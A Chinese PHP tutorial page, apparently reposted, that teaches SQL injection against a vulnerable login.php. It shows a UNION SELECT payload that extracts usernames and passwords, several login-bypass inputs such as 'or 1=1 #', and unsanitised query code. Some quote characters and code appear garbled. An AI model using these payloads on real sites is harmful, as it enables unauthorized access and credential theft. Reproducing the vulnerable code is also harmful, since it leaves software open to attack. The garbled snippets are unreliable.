• 技术文章 >后端开发 >php教程

    php注入2_PHP教程

    2016-07-13 16:54:24原创272
    我们构建注入语句吧
    在输入框输入
    a% and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from
    alphaauthor#放到sql语句中成了
    select * from alphadb where title like %a% and 1=2 union select
    1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %
    结果如图17哦
    怎么样,出来了吧,哈哈,一切尽在掌握之中。
    C:下面我们从注入地点上在来看一下各种注入攻击方式
    1) 首先来看看后台登陆哦
    代码先
    //login.php
    .......
    $query="select * from alphaauthor where UserName= "
    .$HTTP_POST_VARS["UserName"]." and
    Password= ". $HTTP_POST_VARS["Password"]." ";
    $result=mysql_query($query);
    $data=mysql_fetch_array($result);
    if ($data)
    {
    echo "后台登陆成功";
    }
    esle
    {
    echo "重新登陆";
    exit;

    .........
    ?>
    Username和password没有经过任何处理直接放到sql中执行了。
    看看我们怎么绕过呢?
    最经典的还是那个:
    在用户名和密码框里都输入
    'or =
    带入sql语句中成了
    select * from alphaauthor where UserName= or = and Password= or =
    这样带入得到的$data肯定为真,也就是我们成功登陆了。
    还有其他的绕过方法,原理是一样的,就是想办法让$data返回是真就可以了。
    我们可以用下面的这些中方法哦
    1.
    用户名和密码都输入 or a = a
    Sql成了
    select * from alphaauthor where UserName= or a = a and Password=
    or a = a
    2.
    用户名和密码都输入 or 1=1 and ' =
    Sql成了
    select * from alphaauthor where UserName= or 1=1 and ' =
    and Password= or 1=1 and ' =
    用户名和密码都输入 or 2>1 and ' =
    Sql成了
    select * from alphaauthor where UserName= or 2>1 and ' =
    and Password= or 2>1 and ' =
    3.
    用户名输入 or 1=1 # 密码随便输入
    Sql成了
    select * from alphaauthor where UserName= or 1=1 # and
    Password= anything
    后面部分被注释掉了,当然返回还是真哦。
    4.

    www.bkjia.comtruehttp://www.bkjia.com/PHPjc/631789.htmlTechArticle我们构建注入语句吧 在输入框输入 a% and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor#放到sql语句中成了 select * from alphadb where t...

    声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn核实处理。
    专题推荐:php 注入 我们 构建 注入 语句 输入 and union select username passwo
    上一篇:Windows 环境下的PHP5 与 Apache 服务器的配置_PHP教程 下一篇:PHP操作文件问答_PHP教程
    千万级数据并发解决方案

    相关文章推荐

    • 深入了解PHP反序列化原生类• 带你吃透16个PHP魔术方法• ThinkPHP展示中文验证码,仅显示一个字• php图片验证码跟水印(php100教程33-34-35)• php程序重要是正则协助 很急很
    1/1

    PHP中文网